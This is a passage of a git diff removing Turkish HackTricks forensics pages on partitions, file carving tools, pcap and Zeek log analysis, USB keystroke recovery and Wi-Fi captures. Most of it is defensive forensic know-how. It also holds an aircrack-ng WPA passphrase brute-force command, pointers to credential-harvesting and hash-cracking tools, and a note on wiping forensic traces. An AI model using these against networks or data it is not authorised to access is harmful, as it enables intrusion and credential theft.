bayt; ancak daha büyük sektör boyutları ile daha fazla olabilir) | - -**Bölüm girişleri (LBA 2–33)** - -| GUID bölüm giriş formatı | | | -| ------------------------- | -------- | ------------------------------------------------------------------------------------------------------------- | -| Ofset | Uzunluk | İçerik | -| 0 (0x00) | 16 bayt | [Bölüm türü GUID](https://en.wikipedia.org/wiki/GUID_Partition_Table#Partition_type_GUIDs) (karışık sonlu) | -| 16 (0x10) | 16 bayt | Benzersiz bölüm GUID'i (karışık sonlu) | -| 32 (0x20) | 8 bayt | İlk LBA ([küçük sonlu](https://en.wikipedia.org/wiki/Little_endian)) | -| 40 (0x28) | 8 bayt | Son LBA (dahil, genellikle tek) | -| 48 (0x30) | 8 bayt | Nitelik bayrakları (örneğin, bit 60 yalnızca okunur olduğunu belirtir) | -| 56 (0x38) | 72 bayt | Bölüm adı (36 [UTF-16](https://en.wikipedia.org/wiki/UTF-16)LE kod birimi) | - -**Bölüm Türleri** - -![](<../../../images/image (492).png>) - -Daha fazla bölüm türü için [https://en.wikipedia.org/wiki/GUID_Partition_Table](https://en.wikipedia.org/wiki/GUID_Partition_Table) - -### İnceleme - -[**ArsenalImageMounter**](https://arsenalrecon.com/downloads/) ile adli görüntüyü monte ettikten sonra, Windows aracı [**Active Disk Editor**](https://www.disk-editor.org/index.html)**'ı** kullanarak ilk sektörü inceleyebilirsiniz. Aşağıdaki görüntüde **sektör 0**'da bir **MBR** tespit edilmiştir ve yorumlanmıştır: - -![](<../../../images/image (494).png>) - -Eğer bir **MBR yerine bir GPT tablosu** olsaydı, **sektör 1**'de _EFI PART_ imzası görünmelidir (önceki görüntüde bu alan boştur). - -## Dosya Sistemleri - -### Windows dosya sistemleri listesi - -- **FAT12/16**: MSDOS, WIN95/98/NT/200 -- **FAT32**: 95/2000/XP/2003/VISTA/7/8/10 -- **ExFAT**: 2008/2012/2016/VISTA/7/8/10 -- **NTFS**: XP/2003/2008/2012/VISTA/7/8/10 -- **ReFS**: 2012/2016 - -### FAT - -**FAT (Dosya Tahsis Tablosu)** dosya sistemi, hacmin başlangıcında yer alan dosya tahsis tablosu etrafında tasarlanmıştır. Bu sistem, verilerin bütünlüğünü sağlamak için tablonun **iki kopyasını** tutarak verileri korur; böylece biri bozulsa bile veri bütünlüğü sağlanır. Tablo, kök klasör ile birlikte **sabit bir konumda** olmalıdır; bu, sistemin başlatma süreci için kritik öneme sahiptir. - -Dosya sisteminin temel depolama birimi bir **küme, genellikle 512B**'dir ve birden fazla sektörden oluşur. FAT, sürümler boyunca evrim geçirmiştir: - -- **FAT12**, 12 bit küme adreslerini destekler ve 4078 kümeye kadar işleyebilir (UNIX ile 4084). -- **FAT16**, 16 bit adreslere yükseltilerek 65,517 kümeye kadar destek sağlar. -- **FAT32**, 32 bit adreslerle daha da ilerleyerek her hacim için 268,435,456 kümeye kadar izin verir. - -FAT sürümleri arasında önemli bir sınırlama, **4GB maksimum dosya boyutu**'dur; bu, dosya boyutu depolamak için kullanılan 32 bit alan tarafından dayatılmaktadır. - -FAT12 ve FAT16 için kök dizininin ana bileşenleri şunlardır: - -- **Dosya/Klasör Adı** (en fazla 8 karakter) -- **Nitelikler** -- **Oluşturma, Değiştirme ve Son Erişim Tarihleri** -- **FAT Tablosu Adresi** (dosyanın başlangıç kümesini gösterir) -- **Dosya Boyutu** - -### EXT - -**Ext2**, **günlük tutmayan** bölümler (**çok fazla değişmeyen bölümler**) için en yaygın dosya sistemidir; bu, önyükleme bölümüdür. **Ext3/4** ise **günlük tutan** sistemlerdir ve genellikle **diğer bölümler** için kullanılır. - -## **Meta Veriler** - -Bazı dosyalar meta veriler içerir. Bu bilgiler, dosyanın içeriği hakkında olup, bazen bir analist için ilginç olabilir; dosya türüne bağlı olarak, aşağıdaki gibi bilgiler içerebilir: - -- Başlık -- Kullanılan MS Office Versiyonu -- Yazar -- Oluşturma ve son değiştirme tarihleri -- Kameranın modeli -- GPS koordinatları -- Görüntü bilgileri - -Bir dosyanın meta verilerini almak için [**exiftool**](https://exiftool.org) ve [**Metadiver**](https://www.easymetadata.com/metadiver-2/) gibi araçları kullanabilirsiniz. - -## **Silinmiş Dosyaların Kurtarılması** - -### Günlük Kayıtlı Silinmiş Dosyalar - -Daha önce görüldüğü gibi, bir dosya "silindikten" sonra hala kaydedilen birkaç yer vardır. Bunun nedeni, genellikle bir dosyanın dosya sisteminden silinmesinin sadece silindi olarak işaretlenmesidir; ancak veri dokunulmamıştır. Bu nedenle, dosyaların kayıtlarını (MFT gibi) incelemek ve silinmiş dosyaları bulmak mümkündür. - -Ayrıca, işletim sistemi genellikle dosya sistemi değişiklikleri ve yedeklemeleri hakkında çok fazla bilgi kaydeder, bu nedenle dosyayı veya mümkün olduğunca fazla bilgiyi kurtarmak için bunları kullanmaya çalışmak mümkündür. - -{{#ref}} -file-data-carving-recovery-tools.md -{{#endref}} - -### **Dosya Oymacılığı** - -**Dosya oymacılığı**, **veri yığınında dosyaları bulmaya çalışan** bir tekniktir. Bu tür araçların çalıştığı 3 ana yol vardır: **Dosya türü başlıkları ve alt başlıklarına dayalı**, dosya türü **yapılarına** dayalı ve **içerik**'e dayalı. - -Bu tekniğin **parçalanmış dosyaları geri almak için çalışmadığını** unutmayın. Eğer bir dosya **bitişik sektörlerde depolanmamışsa**, bu teknik onu veya en azından bir kısmını bulamayacaktır. - -Aradığınız dosya türlerini belirterek dosya oymacılığı için kullanabileceğiniz birkaç araç vardır. - -{{#ref}} -file-data-carving-recovery-tools.md -{{#endref}} - -### Veri Akışı **C**arving - -Veri Akışı Oymacılığı, Dosya Oymacılığına benzer, ancak **tam dosyalar aramak yerine, ilginç bilgi parçalarını arar**.\ -Örneğin, günlük kaydedilmiş URL'leri içeren bir tam dosya aramak yerine, bu teknik URL'leri arayacaktır. - -{{#ref}} -file-data-carving-recovery-tools.md -{{#endref}} - -### Güvenli Silme - -Açıkça, dosyaları ve bunlarla ilgili günlüklerin bir kısmını **"güvenli" bir şekilde silmenin yolları vardır**. Örneğin, bir dosyanın içeriğini birkaç kez çöp verilerle **üst üste yazmak** ve ardından dosya ile ilgili **$MFT** ve **$LOGFILE**'dan **günlükleri kaldırmak** ve **Hacim Gölge Kopyalarını kaldırmak** mümkündür.\ -Bu işlemi gerçekleştirirken, dosyanın varlığının hala **diğer parçalarda kaydedilmiş olabileceğini** fark edebilirsiniz; bu doğrudur ve adli bilişim uzmanının işi bunları bulmaktır. - -## Referanslar - -- [https://en.wikipedia.org/wiki/GUID_Partition_Table](https://en.wikipedia.org/wiki/GUID_Partition_Table) -- [http://ntfs.com/ntfs-permissions.htm](http://ntfs.com/ntfs-permissions.htm) -- [https://www.osforensics.com/faqs-and-tutorials/how-to-scan-ntfs-i30-entries-deleted-files.html](https://www.osforensics.com/faqs-and-tutorials/how-to-scan-ntfs-i30-entries-deleted-files.html) -- [https://docs.microsoft.com/en-us/windows-server/storage/file-server/volume-shadow-copy-service](https://docs.microsoft.com/en-us/windows-server/storage/file-server/volume-shadow-copy-service) -- **iHackLabs Sertifikalı Dijital Adli Bilişim Windows** - -{{#include ../../../banners/hacktricks-training.md}} diff --git a/src/forensics/basic-forensic-methodology/partitions-file-systems-carving/file-data-carving-recovery-tools.md b/src/forensics/basic-forensic-methodology/partitions-file-systems-carving/file-data-carving-recovery-tools.md deleted file mode 100644 index ca829e9eb..000000000 --- a/src/forensics/basic-forensic-methodology/partitions-file-systems-carving/file-data-carving-recovery-tools.md +++ /dev/null @@ -1,87 +0,0 @@ -# File/Data Carving & Recovery Tools - -{{#include ../../../banners/hacktricks-training.md}} - -## Carving & Recovery tools - -Daha fazla araç için [https://github.com/Claudio-C/awesome-datarecovery](https://github.com/Claudio-C/awesome-datarecovery) - -### Autopsy - -Görüntülerden dosya çıkarmak için adli bilimlerde en yaygın kullanılan araç [**Autopsy**](https://www.autopsy.com/download/)'dir. İndirin, kurun ve "gizli" dosyaları bulmak için dosyayı içe aktarmasını sağlayın. Autopsy'nin disk görüntüleri ve diğer türdeki görüntüleri desteklemek için tasarlandığını, ancak basit dosyalar için tasarlanmadığını unutmayın. - -### Binwalk - -**Binwalk**, gömülü içeriği bulmak için ikili dosyaları analiz etmek için bir araçtır. `apt` ile kurulabilir ve kaynak kodu [GitHub](https://github.com/ReFirmLabs/binwalk)'ta bulunmaktadır. - -**Kullanışlı komutlar**: -```bash -sudo apt install binwalk #Insllation -binwalk file #Displays the embedded data in the given file -binwalk -e file #Displays and extracts some files from the given file -binwalk --dd ".*" file #Displays and extracts all files from the given file -``` -### Foremost - -Başka bir yaygın araç, gizli dosyaları bulmak için **foremost**'tur. Foremost'un yapılandırma dosyasını `/etc/foremost.conf` içinde bulabilirsiniz. Eğer sadece belirli dosyaları aramak istiyorsanız, bunların yorumunu kaldırın. Eğer hiçbirinin yorumunu kaldırmazsanız, foremost varsayılan olarak yapılandırılmış dosya türlerini arayacaktır. -```bash -sudo apt-get install foremost -foremost -v -i file.img -o output -#Discovered files will appear inside the folder "output" -``` -### **Scalpel** - -**Scalpel**, bir dosya içinde gömülü **dosyaları** bulmak ve çıkarmak için kullanılabilecek bir diğer araçtır. Bu durumda, çıkarmak istediğiniz dosya türlerini yapılandırma dosyasından (_/etc/scalpel/scalpel.conf_) yorum satırından çıkarmanız gerekecektir. -```bash -sudo apt-get install scalpel -scalpel file.img -o output -``` -### Bulk Extractor - -Bu araç kali içinde gelir ama burada bulabilirsiniz: [https://github.com/simsong/bulk_extractor](https://github.com/simsong/bulk_extractor) - -Bu araç bir görüntüyü tarayabilir ve içindeki **pcap'leri** **çıkartır**, **ağ bilgilerini (URL'ler, alan adları, IP'ler, MAC'ler, mailler)** ve daha fazla **dosyayı** alır. Yapmanız gereken tek şey: -``` -bulk_extractor memory.img -o out_folder -``` -Tüm bilgileri (şifreler?) toplayan aracın üzerinden geçin, **analiz** edin, **paketleri** (okuyun [**Pcaps analizi**](../pcap-inspection/index.html)), **garip alan adları** arayın (kötü amaçlı yazılımlarla veya **var olmayan** alan adlarıyla ilgili). - -### PhotoRec - -Bunu [https://www.cgsecurity.org/wiki/TestDisk_Download](https://www.cgsecurity.org/wiki/TestDisk_Download) adresinde bulabilirsiniz. - -GUI ve CLI sürümleri ile gelir. PhotoRec'in aramasını istediğiniz **dosya türlerini** seçebilirsiniz. - -![](<../../../images/image (524).png>) - -### binvis - -[Kod](https://code.google.com/archive/p/binvis/) ve [web sayfası aracı](https://binvis.io/#/) kontrol edin. - -#### BinVis Özellikleri - -- Görsel ve aktif **yapı görüntüleyici** -- Farklı odak noktaları için birden fazla grafik -- Bir örneğin bölümlerine odaklanma -- PE veya ELF yürütülebilir dosyalarda **dize ve kaynakları** görme -- Dosyalar üzerinde kriptoanaliz için **desenler** elde etme -- **Packer** veya kodlayıcı algoritmalarını **belirleme** -- Desenler ile Steganografi **tanımlama** -- **Görsel** ikili fark analizi - -BinVis, bir kara kutu senaryosunda bilinmeyen bir hedefle tanışmak için harika bir **başlangıç noktasıdır**. - -## Özel Veri Karıştırma Araçları - -### FindAES - -AES anahtarlarını anahtar programlarını arayarak bulur. TrueCrypt ve BitLocker gibi 128, 192 ve 256 bit anahtarları bulabilir. - -[Buradan](https://sourceforge.net/projects/findaes/) indirin. - -## Tamamlayıcı araçlar - -Terminalden görüntüleri görmek için [**viu** ](https://github.com/atanunq/viu) kullanabilirsiniz.\ -Bir pdf'yi metne dönüştürmek ve okumak için linux komut satırı aracı **pdftotext** kullanabilirsiniz. - -{{#include ../../../banners/hacktricks-training.md}} diff --git a/src/forensics/basic-forensic-methodology/partitions-file-systems-carving/file-data-carving-tools.md b/src/forensics/basic-forensic-methodology/partitions-file-systems-carving/file-data-carving-tools.md deleted file mode 100644 index 5920abde6..000000000 --- a/src/forensics/basic-forensic-methodology/partitions-file-systems-carving/file-data-carving-tools.md +++ /dev/null @@ -1,65 +0,0 @@ -{{#include ../../../banners/hacktricks-training.md}} - -# Carving araçları - -## Autopsy - -Görüntülerden dosya çıkarmak için adli bilimlerde en yaygın kullanılan araç [**Autopsy**](https://www.autopsy.com/download/)'dir. Bunu indirin, kurun ve "gizli" dosyaları bulmak için dosyayı içe aktarmasını sağlayın. Autopsy'nin disk görüntüleri ve diğer türdeki görüntüleri desteklemek için tasarlandığını, ancak basit dosyalar için tasarlanmadığını unutmayın. - -## Binwalk - -**Binwalk**, gömülü dosyalar ve veriler için görüntüler ve ses dosyaları gibi ikili dosyaları aramak için bir araçtır. `apt` ile kurulabilir, ancak [kaynağı](https://github.com/ReFirmLabs/binwalk) github'da bulunabilir. -**Kullanışlı komutlar**: -```bash -sudo apt install binwalk #Insllation -binwalk file #Displays the embedded data in the given file -binwalk -e file #Displays and extracts some files from the given file -binwalk --dd ".*" file #Displays and extracts all files from the given file -``` -## Foremost - -Başka bir yaygın araç **foremost** ile gizli dosyaları bulmaktır. Foremost'un yapılandırma dosyasını `/etc/foremost.conf` içinde bulabilirsiniz. Eğer sadece belirli dosyaları aramak istiyorsanız, bunların yorumunu kaldırın. Eğer hiçbir şeyin yorumunu kaldırmazsanız, foremost varsayılan olarak yapılandırılmış dosya türlerini arayacaktır. -```bash -sudo apt-get install foremost -foremost -v -i file.img -o output -#Discovered files will appear inside the folder "output" -``` -## **Scalpel** - -**Scalpel**, bir dosya içinde gömülü **dosyaları** bulmak ve çıkarmak için kullanılabilecek bir diğer araçtır. Bu durumda, çıkarmak istediğiniz dosya türlerini yapılandırma dosyasından (_/etc/scalpel/scalpel.conf_) yorum satırından çıkarmanız gerekecektir. -```bash -sudo apt-get install scalpel -scalpel file.img -o output -``` -## Bulk Extractor - -Bu araç kali içinde gelir ama burada bulabilirsiniz: [https://github.com/simsong/bulk_extractor](https://github.com/simsong/bulk_extractor) - -Bu araç bir görüntüyü tarayabilir ve içindeki **pcap'leri** **çıkartabilir**, **ağ bilgilerini (URL'ler, alan adları, IP'ler, MAC'ler, mailler)** ve daha fazla **dosyayı** alabilir. Yapmanız gereken tek şey: -```text -bulk_extractor memory.img -o out_folder -``` -Tüm bilgileri gözden geçirin \(şifreler?\), **analiz** edin **paketleri** \(okuyun [ **Pcaps analizi**](../pcap-inspection/index.html)\), **garip alan adları** arayın \(**kötü amaçlı yazılım** ile ilgili veya **var olmayan** alan adları\). - -## PhotoRec - -Bunu [https://www.cgsecurity.org/wiki/TestDisk_Download](https://www.cgsecurity.org/wiki/TestDisk_Download) adresinde bulabilirsiniz. - -GUI ve CLI sürümü ile gelir. PhotoRec'in aramasını istediğiniz **dosya türlerini** seçebilirsiniz. - -![](../../../images/image%20%28524%29.png) - -# Özel Veri Kazıma Araçları - -## FindAES - -Anahtar programlarını arayarak AES anahtarlarını arar. TrueCrypt ve BitLocker tarafından kullanılan 128, 192 ve 256 bit anahtarları bulabilir. - -[Buradan](https://sourceforge.net/projects/findaes/) indirin. - -# Tamamlayıcı araçlar - -Terminalden görüntüleri görmek için [**viu** ](https://github.com/atanunq/viu) kullanabilirsiniz. -Bir pdf'yi metne dönüştürmek ve okumak için linux komut satırı aracı **pdftotext** kullanabilirsiniz. - -{{#include ../../../banners/hacktricks-training.md}} diff --git a/src/forensics/basic-forensic-methodology/pcap-inspection/README.md b/src/forensics/basic-forensic-methodology/pcap-inspection/README.md deleted file mode 100644 index 545eb0cea..000000000 --- a/src/forensics/basic-forensic-methodology/pcap-inspection/README.md +++ /dev/null @@ -1,212 +0,0 @@ -# Pcap İncelemesi - -{{#include ../../../banners/hacktricks-training.md}} - -> [!NOTE] -> **PCAP** ile **PCAPNG** hakkında bir not: PCAP dosya formatının iki versiyonu vardır; **PCAPNG daha yenidir ve tüm araçlar tarafından desteklenmez**. Bazı diğer araçlarla çalışabilmek için bir dosyayı PCAPNG'den PCAP'a dönüştürmeniz gerekebilir, bunu Wireshark veya başka bir uyumlu araçla yapabilirsiniz. - -## Pcap'lar için Çevrimiçi Araçlar - -- Pcap'ınızın başlığı **bozuksa** bunu **düzeltmeye** çalışmalısınız: [http://f00l.de/hacking/**pcapfix.php**](http://f00l.de/hacking/pcapfix.php) -- Bir pcap içindeki **bilgileri** çıkarın ve **kötü amaçlı yazılım** arayın [**PacketTotal**](https://packettotal.com) -- **Kötü niyetli etkinlik** aramak için [**www.virustotal.com**](https://www.virustotal.com) ve [**www.hybrid-analysis.com**](https://www.hybrid-analysis.com) kullanın - -## Bilgi Çıkarma - -Aşağıdaki araçlar istatistik, dosya vb. çıkarmak için faydalıdır. - -### Wireshark - -> [!NOTE] -> **Bir PCAP'ı analiz edecekseniz, temelde Wireshark'ı nasıl kullanacağınızı bilmelisiniz** - -Wireshark ipuçlarını şurada bulabilirsiniz: - -{{#ref}} -wireshark-tricks.md -{{#endref}} - -### Xplico Framework - -[**Xplico** ](https://github.com/xplico/xplico)_(sadece linux)_ bir **pcap'ı** **analiz edebilir** ve ondan bilgi çıkarabilir. Örneğin, bir pcap dosyasından Xplico, her e-postayı (POP, IMAP ve SMTP protokolleri), tüm HTTP içeriklerini, her VoIP çağrısını (SIP), FTP, TFTP vb. çıkarır. - -**Kurulum** -```bash -sudo bash -c 'echo "deb http://repo.xplico.org/ $(lsb_release -s -c) main" /etc/apt/sources.list' -sudo apt-key adv --keyserver keyserver.ubuntu.com --recv-keys 791C25CE -sudo apt-get update -sudo apt-get install xplico -``` -**Çalıştır** -``` -/etc/init.d/apache2 restart -/etc/init.d/xplico start -``` -_**127.0.0.1:9876**_ adresine _**xplico:xplico**_ kimlik bilgileriyle erişin. - -Ardından **yeni bir vaka** oluşturun, vaka içinde **yeni bir oturum** oluşturun ve **pcap** dosyasını **yükleyin**. - -### NetworkMiner - -Xplico gibi, **pcap'lerden nesneleri analiz etmek ve çıkarmak** için bir araçtır. **Buradan** [**indirebileceğiniz**](https://www.netresec.com/?page=NetworkMiner) ücretsiz bir sürümü vardır. **Windows** ile çalışır.\ -Bu araç, paketlerden **diğer analiz edilen bilgileri** almak için de faydalıdır, böylece ne olduğunu **daha hızlı** bir şekilde anlayabilirsiniz. - -### NetWitness Investigator - -[**NetWitness Investigator'ı buradan**](https://www.rsa.com/en-us/contact-us/netwitness-investigator-freeware) **indirebilirsiniz** **(Windows'ta çalışır)**.\ -Bu, paketleri **analiz eden** ve bilgileri **içeride ne olduğunu bilmek için** faydalı bir şekilde sıralayan başka bir yararlı araçtır. - -### [BruteShark](https://github.com/odedshimon/BruteShark) - -- Kullanıcı adlarını ve şifreleri çıkarmak ve kodlamak (HTTP, FTP, Telnet, IMAP, SMTP...) -- Kimlik doğrulama hash'lerini çıkarmak ve Hashcat kullanarak kırmak (Kerberos, NTLM, CRAM-MD5, HTTP-Digest...) -- Görsel bir ağ diyagramı oluşturmak (Ağ düğümleri ve kullanıcılar) -- DNS sorgularını çıkarmak -- Tüm TCP ve UDP oturumlarını yeniden oluşturmak -- Dosya Kesme - -### Capinfos -``` -capinfos capture.pcap -``` -### Ngrep - -Eğer pcap içinde **bir şey** **arıyorsanız** **ngrep** kullanabilirsiniz. İşte ana filtreleri kullanan bir örnek: -```bash -ngrep -I packets.pcap "^GET" "port 80 and tcp and host 192.168 and dst host 192.168 and src host 192.168" -``` -### Carving - -Yaygın carving tekniklerini kullanmak, pcap'ten dosyaları ve bilgileri çıkarmak için faydalı olabilir: - -{{#ref}} -../partitions-file-systems-carving/file-data-carving-recovery-tools.md -{{#endref}} - -### Capturing credentials - -Bir pcap veya canlı bir arayüzden kimlik bilgilerini ayrıştırmak için [https://github.com/lgandx/PCredz](https://github.com/lgandx/PCredz) gibi araçları kullanabilirsiniz. - -## Check Exploits/Malware - -### Suricata - -**Kurulum ve ayarlama** -``` -apt-get install suricata -apt-get install oinkmaster -echo "url = http://rules.emergingthreats.net/open/suricata/emerging.rules.tar.gz" >> /etc/oinkmaster.conf -oinkmaster -C /etc/oinkmaster.conf -o /etc/suricata/rules -``` -**Pcap'ı Kontrol Et** -``` -suricata -r packets.pcap -c /etc/suricata/suricata.yaml -k none -v -l log -``` -### YaraPcap - -[**YaraPCAP**](https://github.com/kevthehermit/YaraPcap) bir araçtır - -- Bir PCAP Dosyasını okur ve Http Akışlarını çıkarır. -- gzip, sıkıştırılmış akışları açar -- Her dosyayı yara ile tarar -- report.txt dosyasını yazar -- İsteğe bağlı olarak eşleşen dosyaları bir Dizin'e kaydeder - -### Kötü Amaçlı Yazılım Analizi - -Bilinen bir kötü amaçlı yazılımın herhangi bir parmak izini bulup bulamayacağını kontrol edin: - -{{#ref}} -../malware-analysis.md -{{#endref}} - -## Zeek - -> [Zeek](https://docs.zeek.org/en/master/about.html) pasif, açık kaynaklı bir ağ trafiği analizörüdür. Birçok operatör, şüpheli veya kötü niyetli etkinliklerin araştırmalarını desteklemek için Zeek'i Ağ Güvenliği İzleyicisi (NSM) olarak kullanır. Zeek ayrıca güvenlik alanının ötesinde, performans ölçümü ve sorun giderme dahil olmak üzere geniş bir trafik analizi görev yelpazesini destekler. - -Temelde, `zeek` tarafından oluşturulan günlükler **pcap** değildir. Bu nedenle, **pcap'ler** hakkında **bilgi** içeren günlükleri analiz etmek için **diğer araçlar** kullanmanız gerekecektir. - -### Bağlantılar Bilgisi -```bash -#Get info about longest connections (add "grep udp" to see only udp traffic) -#The longest connection might be of malware (constant reverse shell?) -cat conn.log | zeek-cut id.orig_h id.orig_p id.resp_h id.resp_p proto service duration | sort -nrk 7 | head -n 10 - -10.55.100.100 49778 65.52.108.225 443 tcp - 86222.365445 -10.55.100.107 56099 111.221.29.113 443 tcp - 86220.126151 -10.55.100.110 60168 40.77.229.82 443 tcp - 86160.119664 - - -#Improve the metrics by summing up the total duration time for connections that have the same destination IP and Port. -cat conn.log | zeek-cut id.orig_h id.resp_h id.resp_p proto duration | awk 'BEGIN{ FS="\t" } { arr[$1 FS $2 FS $3 FS $4] += $5 } END{ for (key in arr) printf "%s%s%s\n", key, FS, arr[key] }' | sort -nrk 5 | head -n 10 - -10.55.100.100 65.52.108.225 443 tcp 86222.4 -10.55.100.107 111.221.29.113 443 tcp 86220.1 -10.55.100.110 40.77.229.82 443 tcp 86160.1 - -#Get the number of connections summed up per each line -cat conn.log | zeek-cut id.orig_h id.resp_h duration | awk 'BEGIN{ FS="\t" } { arr[$1 FS $2] += $3; count[$1 FS $2] += 1 } END{ for (key in arr) printf "%s%s%s%s%s\n", key, FS, count[key], FS, arr[key] }' | sort -nrk 4 | head -n 10 - -10.55.100.100 65.52.108.225 1 86222.4 -10.55.100.107 111.221.29.113 1 86220.1 -10.55.100.110 40.77.229.82 134 86160.1 - -#Check if any IP is connecting to 1.1.1.1 -cat conn.log | zeek-cut id.orig_h id.resp_h id.resp_p proto service | grep '1.1.1.1' | sort | uniq -c - -#Get number of connections per source IP, dest IP and dest Port -cat conn.log | zeek-cut id.orig_h id.resp_h id.resp_p proto | awk 'BEGIN{ FS="\t" } { arr[$1 FS $2 FS $3 FS $4] += 1 } END{ for (key in arr) printf "%s%s%s\n", key, FS, arr[key] }' | sort -nrk 5 | head -n 10 - - -# RITA -#Something similar can be done with the tool rita -rita show-long-connections -H --limit 10 zeek_logs - -+---------------+----------------+--------------------------+----------------+ -| SOURCE IP | DESTINATION IP | DSTPORT:PROTOCOL:SERVICE | DURATION | -+---------------+----------------+--------------------------+----------------+ -| 10.55.100.100 | 65.52.108.225 | 443:tcp:- | 23h57m2.3655s | -| 10.55.100.107 | 111.221.29.113 | 443:tcp:- | 23h57m0.1262s | -| 10.55.100.110 | 40.77.229.82 | 443:tcp:- | 23h56m0.1197s | - -#Get connections info from rita -rita show-beacons zeek_logs | head -n 10 -Score,Source IP,Destination IP,Connections,Avg Bytes,Intvl Range,Size Range,Top Intvl,Top Size,Top Intvl Count,Top Size Count,Intvl Skew,Size Skew,Intvl Dispersion,Size Dispersion -1,192.168.88.2,165.227.88.15,108858,197,860,182,1,89,53341,108319,0,0,0,0 -1,10.55.100.111,165.227.216.194,20054,92,29,52,1,52,7774,20053,0,0,0,0 -0.838,10.55.200.10,205.251.194.64,210,69,29398,4,300,70,109,205,0,0,0,0 -``` -### DNS bilgisi -```bash -#Get info about each DNS request performed -cat dns.log | zeek-cut -c id.orig_h query qtype_name answers - -#Get the number of times each domain was requested and get the top 10 -cat dns.log | zeek-cut query | sort | uniq | rev | cut -d '.' -f 1-2 | rev | sort | uniq -c | sort -nr | head -n 10 - -#Get all the IPs -cat dns.log | zeek-cut id.orig_h query | grep 'example\.com' | cut -f 1 | sort | uniq -c - -#Sort the most common DNS record request (should be A) -cat dns.log | zeek-cut qtype_name | sort | uniq -c | sort -nr - -#See top DNS domain requested with rita -rita show-exploded-dns -H --limit 10 zeek_logs -``` -## Diğer pcap analiz ipuçları - -{{#ref}} -dnscat-exfiltration.md -{{#endref}} - -{{#ref}} -wifi-pcap-analysis.md -{{#endref}} - -{{#ref}} -usb-keystrokes.md -{{#endref}} - -​ - -{{#include ../../../banners/hacktricks-training.md}} diff --git a/src/forensics/basic-forensic-methodology/pcap-inspection/usb-keyboard-pcap-analysis.md b/src/forensics/basic-forensic-methodology/pcap-inspection/usb-keyboard-pcap-analysis.md deleted file mode 100644 index ec92902e9..000000000 --- a/src/forensics/basic-forensic-methodology/pcap-inspection/usb-keyboard-pcap-analysis.md +++ /dev/null @@ -1,14 +0,0 @@ -{{#include ../../../banners/hacktricks-training.md}} - -Eğer birçok kesinti ile birlikte bir USB bağlantısının pcap'ine sahipseniz, muhtemelen bu bir USB Klavye bağlantısıdır. - -Bunun gibi bir wireshark filtresi faydalı olabilir: `usb.transfer_type == 0x01 and frame.len == 35 and !(usb.capdata == 00:00:00:00:00:00:00:00)` - -"02" ile başlayan verilerin shift tuşu kullanılarak basıldığını bilmek önemli olabilir. - -Bununla ilgili daha fazla bilgi okuyabilir ve analiz etme hakkında bazı scriptler bulabilirsiniz: - -- [https://medium.com/@ali.bawazeeer/kaizen-ctf-2018-reverse-engineer-usb-keystrok-from-pcap-file-2412351679f4](https://medium.com/@ali.bawazeeer/kaizen-ctf-2018-reverse-engineer-usb-keystrok-from-pcap-file-2412351679f4) -- [https://github.com/tanc7/HacktheBox_Deadly_Arthropod_Writeup](https://github.com/tanc7/HacktheBox_Deadly_Arthropod_Writeup) - -{{#include ../../../banners/hacktricks-training.md}} diff --git a/src/forensics/basic-forensic-methodology/pcap-inspection/usb-keystrokes.md b/src/forensics/basic-forensic-methodology/pcap-inspection/usb-keystrokes.md deleted file mode 100644 index 3b5e57f98..000000000 --- a/src/forensics/basic-forensic-methodology/pcap-inspection/usb-keystrokes.md +++ /dev/null @@ -1,17 +0,0 @@ -{{#include ../../../banners/hacktricks-training.md}} - -Eğer aşağıdaki gibi bir klavyenin USB üzerinden iletişimini içeren bir pcap dosyanız varsa: - -![](<../../../images/image (613).png>) - -İletişimde yazılanları almak için [**ctf-usb-keyboard-parser**](https://github.com/carlospolop-forks/ctf-usb-keyboard-parser) aracını kullanabilirsiniz: -```bash -tshark -r ./usb.pcap -Y 'usb.capdata && usb.data_len == 8' -T fields -e usb.capdata | sed 's/../:&/g2' > keystrokes.txt -python3 usbkeyboard.py ./keystrokes.txt -``` -Daha fazla bilgi okuyabilir ve bunu analiz etme hakkında bazı betikler bulabilirsiniz: - -- [https://medium.com/@ali.bawazeeer/kaizen-ctf-2018-reverse-engineer-usb-keystrok-from-pcap-file-2412351679f4](https://medium.com/@ali.bawazeeer/kaizen-ctf-2018-reverse-engineer-usb-keystrok-from-pcap-file-2412351679f4) -- [https://github.com/tanc7/HacktheBox_Deadly_Arthropod_Writeup](https://github.com/tanc7/HacktheBox_Deadly_Arthropod_Writeup) - -{{#include ../../../banners/hacktricks-training.md}} diff --git a/src/forensics/basic-forensic-methodology/pcap-inspection/wifi-pcap-analysis.md b/src/forensics/basic-forensic-methodology/pcap-inspection/wifi-pcap-analysis.md deleted file mode 100644 index 2ccf3f566..000000000 --- a/src/forensics/basic-forensic-methodology/pcap-inspection/wifi-pcap-analysis.md +++ /dev/null @@ -1,39 +0,0 @@ -{{#include ../../../banners/hacktricks-training.md}} - -# BSSID'leri Kontrol Et - -WireShark kullanarak ana trafiği Wifi olan bir yakalama aldığınızda, _Wireless --> WLAN Traffic_ ile yakalamadaki tüm SSID'leri araştırmaya başlayabilirsiniz: - -![](<../../../images/image (424).png>) - -![](<../../../images/image (425).png>) - -## Kaba Kuvvet - -O ekranın sütunlarından biri **pcap içinde herhangi bir kimlik doğrulama bulunup bulunmadığını** gösterir. Eğer durum böyleyse, `aircrack-ng` kullanarak kaba kuvvet denemesi yapabilirsiniz: -```bash -aircrack-ng -w pwds-file.txt -b file.pcap -``` -Örneğin, daha sonra trafiği şifrelemek için gerekli olan bir PSK (önceden paylaşılan anahtar) koruyan WPA parolasını alacaktır. - -# Beacon'larda / Yan Kanalda Veri - -Eğer **bir Wifi ağının beacon'larında verinin sızdırıldığını düşünüyorsanız**, ağın beacon'larını aşağıdaki gibi bir filtre kullanarak kontrol edebilirsiniz: `wlan contains `, veya `wlan.ssid == "NAMEofNETWORK"` filtrelenmiş paketler içinde şüpheli dizeleri arayın. - -# Bir Wifi Ağında Bilinmeyen MAC Adreslerini Bulma - -Aşağıdaki bağlantı, **bir Wifi Ağı içinde veri gönderen makineleri bulmak için** faydalı olacaktır: - -- `((wlan.ta == e8:de:27:16:70:c9) && !(wlan.fc == 0x8000)) && !(wlan.fc.type_subtype == 0x0005) && !(wlan.fc.type_subtype ==0x0004) && !(wlan.addr==ff:ff:ff:ff:ff:ff) && wlan.fc.type==2` - -Eğer **MAC adreslerini zaten biliyorsanız, bunları çıktılardan çıkarabilirsiniz** bu gibi kontroller ekleyerek: `&& !(wlan.addr==5c:51:88:31:a0:3b)` - -Ağ içinde iletişim kuran **bilinmeyen MAC** adreslerini tespit ettikten sonra, trafiğini filtrelemek için 